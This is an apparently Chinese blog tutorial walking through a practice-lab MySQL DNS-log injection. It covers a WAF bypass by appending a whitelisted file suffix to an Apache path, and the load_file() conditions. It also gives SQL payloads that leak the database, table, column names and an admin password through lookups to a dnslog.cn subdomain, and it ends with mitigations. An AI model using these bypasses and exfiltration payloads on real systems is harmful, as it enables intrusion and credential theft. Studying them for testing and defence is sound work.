渗透测试基础-MYSQL数据库之DNS注入

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!

WAF【安全应用防火墙】的黑白名单

在我们现在的网站中,像这样的应用防火墙的保护,它名叫WAF。我们这次的靶场也有。
在这里插入图片描述
进入我们的靶场页面,在页面的最下面,有一行小字,悄悄告诉我们。这里需要一个id传参,我们传参去尝试。

在这里插入图片描述
传参id=1网页没有发生改变,继续传统手艺,and 1=1试试
在这里插入图片描述
在后面添加and 1=1时,招到了网站服务器里面应用防火墙的阻拦。

这里就要谈一下它的部分机制了,黑白名单机制

黑名单—这些不可访问,其他都可
白名单—只能这些访问,其他都不可

这里要注意的是,如果在传参时,在里面添加
.txt .png .gif
有这样类似的文件后缀时,是不会被阻拦的,因为在有些时候,在正常的访问中,是也会带入类似这样的传参,它不能一股脑全部给封锁了,那会影响网站的正常工作,虽然可以将安全提升的一个较高的地步,但是随之带来的是失去了大多数原本该有的用户体验,这在某些时候是得不偿失的。所以会将这些看似安全的传参给加入到白名单中,给它做一下放行。在也是无意中就满足了我们一个核心条件。

Apache中间件的独有特性

Apache和我们了解的WINDOWSIIS差不多是一样的东西,都是搭建网络的一种工具。我们这里想要说的是,Apache存在一个专属的特性,其他中间件是没有的:

当它收到一个它无法识别的目录时,就会往前一位解析,有些网站设置过不能这样,有些默认设置就是这样的。比如下面这个域名。
http://www.baidu.com/1.php/1.gif?id=1
Apache无法解析1.gif时,它就会默认往前面一位去解析,那就是1.php
这样,当我遇到前面靶场对我们的传参阻拦时,可将刚刚上面说的方式结合起来使用,这样就可绕过阻拦。
在这里插入图片描述
index3.php/123.txt?id=1%20and%201=1
在后面加上一个123.txt就逃过了WAF的阻拦,因为Apache不识别123.txt是什么东西,然后Apache就会主动去解析前面一个正确的页面,这就照成了绕过WAF的效果。

DNS及网站应用

DNS域名系统是互联网的一项服务。它作为将域名IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。我们先来介绍一个DNS注入要使用的主要网站:http://dnslog.cn/

在这里插入图片描述
左边⬅️为获取新域名,右边➡️为刷新。我们先来尝试一下这个网站的基本功能。

在这里插入图片描述
点击获得了一个新域名,然后用本机ping了一下这个域名,点击刷新之后,网页显示了我的出口ip访问的时间,很简单美观的一个工具。

MYSQL数据库的文件读取

然后在来了解一个知识,就是数据库可以用load_file()函数,读取文件内容,当然这个能读取文件内容,是有一些条件的,一个不满足都不可以

条件1.文件必须位于服务器主机上
条件2.必须指定完整路径的文件
条件3.必须有file权限
条件4.该文件所有字节可读,但是内容必须小于max_allowed_packer
(限制server接受的数据包大小函数,默认1MB
条件5.mysql配置文件中,必须要有 secure_file_priv=这条配置才可

以上有一条不满足,函数返回NULL
在这里插入图片描述
在这里插入图片描述
进入网站服务器的C盘中创建一个2020.txt文件在里面写下一句话。

然后进入MYSQL数据库,键入
select load_file('C://2020.txt');

看能否得到数据,在这要注意的是,我是adminstrator的身份登录的服务器,所以在明面上,我已经满足了前4个条件
在这里插入图片描述
语句并没有显示我写在2020.txt文件中的语句。既然我这前四条都满足,那就看一下,第五条的条件,进去MYSQL配置文件中,查看配置文件。

在这里插入图片描述
配置文件的末尾并没有看到我们第5个条件需要存在的语句,将语句加入到里面,然后重启一下phpstudy,然后再次尝试。
在这里插入图片描述
在这里插入图片描述

UNC路径

NUC路径WINDOWS下的一个SMB服务(Linux默认情况下是不支持这个的,要使用的话,得开启这个服务才可以),我们可以用它其请求一些文件或数据,比如用作共享文件的时候,可采用这样的语句:
指定一个服务器的名字,然后去访问这个服务器下的某个文件
//服务器名字/文件名(这里的文件名可随便填写,但是是必须要有的)
但其实它支持的并非就 服务器名 这一种指定模式,它还可以指定 域名IP

既然可以写域名,那就会用到DNS解析,配合前面的一些知识,我们的测试语句就出来了。

测试语句:
and load_file(concat(‘//‘,(select database()),’.dnslog网站域名/abc’))
条件 获取文件内容(UNC路径+获取的表名+.DNSlog域名+abc
进入DNS注入测试靶场尝试一下。

DNS注入靶场演练

在这里插入图片描述
现在DNSlog网站获取新域名,将域名插入到刚刚的测试语句中,然后带入网站中尝试。

测试语句:
and load_file(concat(‘//‘,(select database()),’.veklbf.dnslog.cn/abc’))

在这里插入图片描述
前面用1.txt绕过安全狗,后面的语句也正常得到执行
在这里插入图片描述

这里也得到了库名,有了库名,就获得表名。

测试语句:
and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.veklbf.dnslog.cn/abc'))

在这里插入图片描述
admin的表名出现了,一般flag都放在admin表里,接着找字段

测试语句:
and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.veklbf.dnslog.cn/abc'))

在这里插入图片描述
字段名加表名查数据

测试语句:
and load_file(concat('//',(select password from admin limit 0,1),'.veklbf.dnslog.cn/abc'))

在这里插入图片描述

漏洞总结

DNS注入,可以看到有很多细节需要注意,但凡文中有一个东西不满足,这里的DNS注入就实现不了。所以我们的防护方法有:1.MYSQL配置文件中,应加上secure_file_priv=当然如果非要使用数据库读取功能的,那最后用完了就及时将其关闭;2.然后及时更新Apache版本,不要处于危险的版本中;3.如果不是必要的话,可将服务器设置不可访问外网,这样就不存在服务器去访问DNSlog站点了;最后就是SQL注入关键过滤特定函数,符号,这样就能有效降低服务器在这方面的危险性。

《最好的防御,是明白其怎么实施的攻击》

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jinxya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值